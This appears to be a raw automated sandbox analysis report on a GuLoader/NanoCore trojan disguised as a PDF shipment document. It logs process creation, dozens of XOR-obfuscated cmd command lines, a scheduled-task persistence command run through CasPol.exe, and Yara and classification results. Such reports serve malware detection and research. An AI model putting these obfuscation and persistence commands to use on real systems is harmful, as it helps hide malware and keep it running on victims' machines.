Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe 0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x721C070B^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7C156677^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x03631637^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x5C382120^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7F303920^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x78713865^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4B6D7569^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19307575^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x41616575^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09696575^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0975752C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19697965^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x49796569^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19307571^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15793C65^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09216D75^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09703C6B^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4B6C7578^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7C156677^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0363032C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4B2D2024^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x55183929^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x563A7D2C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09753C65^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09216475^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09696575^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15793C65^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09216675^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09697965^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x5079653D^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0D697C35^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x172B6478^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x721C070B^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7C156677^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x03630620^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4D1F3C29^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x5C093A2C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x572D3037^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x11307537^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0C75752C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19686375^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09697569^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19307575^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15307575^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x10307B37^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0A64721C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x721C070B^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7C156677^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x03630720^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x583D132C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x553C7D2C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4B6C7965^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4D1F3C29^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x5C093A2C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09216475^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15307575^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0975752C^962155845"	Jump to behavior
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x41616575^962155845"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe" /create /f /tn "DSL Monitor" /xml "C:\Users\user\AppData\Local\Temp\tmp6DD1.tmp	Jump to behavior

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe

1_2_004034F7

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File created: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB

Jump to behavior

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe

File created: C:\Users\user\AppData\Local\Temp\nsiB404.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@192/15@92/3

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe

Code function: 1_2_004021AA CoCreateInstance,

1_2_004021AA

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe

Code function: 1_2_00404954 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

1_2_00404954

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\ffc00a26ff38e37b47b2c75f92b48929\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\ffc00a26ff38e37b47b2c75f92b48929\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5560:304:WilStaging_02
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2212:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5856:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2212:304:WilStaging_02
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{8a31290f-d587-43a1-8a5b-8b2e6c04b993}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5856:304:WilStaging_02

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source: Original Shipment_Document.PDF.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\Liam\Downloads\NanoCoreSwiss\MyClientPlugin\obj\Debug\MyClientPlugin.pdb source: CasPol.exe, 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Liam\Documents\Visual Studio 2013\Projects\NanoCoreStressTester\NanoCoreStressTester\obj\Debug\NanoCoreStressTester.pdb source: CasPol.exe, 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: G:\Users\Andy\Documents\Visual Studio 2013\Projects\NanocoreBasicPlugin\NanoCoreBase\obj\Debug\NanoCoreBase.pdb source: CasPol.exe, 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: P:\Visual Studio Projects\Projects 15\NanoNana\MyClientPlugin\obj\Debug\MyClientPlugin.pdb source: CasPol.exe, 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Cole\Documents\Visual Studio 2013\Projects\FileBrowserPlugin\FileBrowserClient\obj\Debug\FileBrowserClient.pdb source: CasPol.exe, 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000088.00000000.185799522780.0000000000E30000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.185975230036.0000000003280000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Obfuscated command line found

Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x721C070B^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7C156677^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x03631637^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x5C382120^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7F303920^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x78713865^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4B6D7569^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19307575^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x41616575^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09696575^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0975752C^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19697965^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x49796569^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19307571^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15793C65^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09216D75^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15793C65^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09703C6B^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4B6C7578^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x721C070B^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7C156677^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0363032C^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4B2D2024^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x55183929^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x563A7D2C^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09753C65^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09216475^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09696575^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15793C65^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09216675^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09697965^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x5079653D^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0D697C35^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x172B6478^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x721C070B^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7C156677^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x03630620^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4D1F3C29^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x5C093A2C^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x572D3037^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x11307537^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0C75752C^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19686375^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09697569^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x19307575^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15307575^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x10307B37^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x0A64721C^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x721C070B^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x7C156677^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x03630720^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x583D132C^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x553C7D2C^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x4B6C7965^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09216475^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x09696575^962155845"
Source: C:\Users\user\Desktop\Original Shipment_Document.PDF.exe	Process created: C:\Windows\SysWOW64\cmd.eXe cmd.eXe /c SeT /a "0x15733C65^962155845"
